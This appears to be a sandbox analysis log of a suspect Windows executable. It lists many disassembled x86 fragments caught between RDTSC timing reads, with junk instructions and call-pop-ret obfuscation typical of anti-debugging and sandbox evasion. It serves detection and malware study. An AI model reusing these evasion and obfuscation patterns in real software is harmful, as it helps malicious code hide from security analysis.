Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941122 second address: 941189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F228D5156C8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 cmc 0x00000024 push 00000000h 0x00000026 jo 00007F228D5156CCh 0x0000002c add dword ptr [ebp+1245AFC3h], edx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F228D5156C8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Ch 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e mov di, 4A37h 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 push ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941189 second address: 94118E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 942189 second address: 94218D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94218D second address: 942197 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 942197 second address: 94219B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94219B second address: 94221D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F228CBCA0B5h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 jmp 00007F228CBCA0B0h 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F228CBCA0A8h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 clc 0x00000034 push 00000000h 0x00000036 mov edi, dword ptr [ebp+122D1C4Ah] 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edi 0x00000041 call 00007F228CBCA0A8h 0x00000046 pop edi 0x00000047 mov dword ptr [esp+04h], edi 0x0000004b add dword ptr [esp+04h], 00000015h 0x00000053 inc edi 0x00000054 push edi 0x00000055 ret 0x00000056 pop edi 0x00000057 ret 0x00000058 mov bx, di 0x0000005b xchg eax, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e push ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94221D second address: 942222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 942222 second address: 94222C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F228CBCA0A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9401D9 second address: 9401DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9401DD second address: 9401E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9401E3 second address: 9401E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 942368 second address: 942396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228CBCA0B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F228CBCA0B4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9441AC second address: 9441B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943291 second address: 943297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9441B0 second address: 944227 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F228D5156C8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push edx 0x00000027 jg 00007F228D5156CCh 0x0000002d pop edi 0x0000002e or edi, 02BD7EBDh 0x00000034 cld 0x00000035 push 00000000h 0x00000037 mov di, si 0x0000003a push 00000000h 0x0000003c mov ebx, dword ptr [ebp+122D2A9Ch] 0x00000042 xchg eax, esi 0x00000043 ja 00007F228D5156CEh 0x00000049 push eax 0x0000004a jbe 00007F228D5156E5h 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944227 second address: 94422B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943297 second address: 94332E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F228D5156C8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov bx, ax 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov dword ptr [ebp+122D242Ch], edi 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d mov dword ptr [ebp+12469263h], ecx 0x00000043 mov eax, dword ptr [ebp+122D0D0Dh] 0x00000049 jmp 00007F228D5156D7h 0x0000004e push FFFFFFFFh 0x00000050 sbb edi, 06E8A262h 0x00000056 or dword ptr [ebp+122D190Ch], edx 0x0000005c nop 0x0000005d jmp 00007F228D5156CDh 0x00000062 push eax 0x00000063 pushad 0x00000064 push ecx 0x00000065 jnp 00007F228D5156C6h 0x0000006b pop ecx 0x0000006c push eax 0x0000006d push edx 0x0000006e push esi 0x0000006f pop esi 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945260 second address: 945302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228CBCA0B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F228CBCA0A8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 jmp 00007F228CBCA0B6h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F228CBCA0A8h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 mov dword ptr [ebp+122D27E3h], esi 0x0000004b push 00000000h 0x0000004d sub di, 60ACh 0x00000052 xchg eax, esi 0x00000053 jmp 00007F228CBCA0B3h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b jng 00007F228CBCA0A8h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944406 second address: 94440A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945302 second address: 945310 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F228CBCA0AAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94440A second address: 944410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944410 second address: 94441A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F228CBCA0A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948922 second address: 94893B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F228D5156D5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94893B second address: 9489BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228CBCA0AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F228CBCA0A8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 jmp 00007F228CBCA0B6h 0x0000002b push 00000000h 0x0000002d jg 00007F228CBCA0ACh 0x00000033 push 00000000h 0x00000035 jng 00007F228CBCA0B8h 0x0000003b jmp 00007F228CBCA0B2h 0x00000040 push eax 0x00000041 pushad 0x00000042 push edi 0x00000043 pushad 0x00000044 popad 0x00000045 pop edi 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9489BC second address: 9489C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952FBC second address: 952FD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F228CBCA0B2h 0x00000009 jne 00007F228CBCA0A6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 957324 second address: 95733B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F228D5156C6h 0x0000000c popad 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 ja 00007F228D5156C6h 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959CBE second address: 959CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ED03A second address: 8ED03E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95DDFF second address: 95DE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F228CBCA0ACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95DF2F second address: 95DF63 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F228D5156C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F228D5156EAh 0x00000010 jmp 00007F228D5156CCh 0x00000015 jmp 00007F228D5156D8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95DF63 second address: 95DF68 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E0E0 second address: 95E0EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156CAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E0EE second address: 95E0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E0F8 second address: 95E112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228D5156D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E112 second address: 95E130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228CBCA0B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E130 second address: 95E134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E5A2 second address: 95E5A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E832 second address: 95E838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E838 second address: 95E83C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E83C second address: 95E84D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F228D5156C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E84D second address: 95E852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E852 second address: 95E86A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F228D5156D2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E86A second address: 95E87E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228CBCA0B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9630A3 second address: 9630B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F228D5156C8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9630B0 second address: 9630B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961F66 second address: 961F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961F6C second address: 961F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228CBCA0B0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92CCB6 second address: 92CCC0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F228D5156C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92CCC0 second address: 92CCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F228CBCA0A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92CD91 second address: 92CD95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92CF65 second address: 92CFAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228CBCA0B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F228CBCA0A8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 pushad 0x00000027 mov dx, C026h 0x0000002b clc 0x0000002c popad 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 pop eax 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92CFAF second address: 92CFB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92CFB3 second address: 92CFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D5D9 second address: 92D5E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D9E8 second address: 92D9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D9EC second address: 92DA07 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F228D5156D3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DA07 second address: 92DA1D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F228CBCA0A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jc 00007F228CBCA0B4h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DA1D second address: 911FB2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F228D5156C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jnl 00007F228D5156D1h 0x00000011 call dword ptr [ebp+12449738h] 0x00000017 push ecx 0x00000018 jmp 00007F228D5156D3h 0x0000001d pop ecx 0x0000001e push ecx 0x0000001f jno 00007F228D5156D2h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911FB2 second address: 911FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96222E second address: 962253 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jnc 00007F228D5156C6h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9623D8 second address: 9623E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F228CBCA0A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9623E2 second address: 9623E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9623E8 second address: 9623EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9623EE second address: 96240B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228D5156D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96240B second address: 962429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228CBCA0ABh 0x00000009 popad 0x0000000a jnc 00007F228CBCA0AEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962429 second address: 962446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F228D5156D7h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962446 second address: 96244A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96244A second address: 962450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962450 second address: 96245A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96245A second address: 96245E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962B4A second address: 962B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9694D5 second address: 9694E5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F228D5156C6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F06B6 second address: 8F06BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F06BC second address: 8F06CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228D5156CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F06CD second address: 8F06ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228CBCA0B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9681DE second address: 9681EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F228D5156CBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9681EF second address: 96821D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F228CBCA0B4h 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F228CBCA0B0h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96821D second address: 968223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968223 second address: 968227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968388 second address: 968393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F228D5156C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968393 second address: 968399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968399 second address: 9683A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9683A4 second address: 9683A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9683A8 second address: 9683C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F228D5156D6h 0x0000000e pushad 0x0000000f js 00007F228D5156C6h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968C0C second address: 968C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968C11 second address: 968C17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968C17 second address: 968C1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
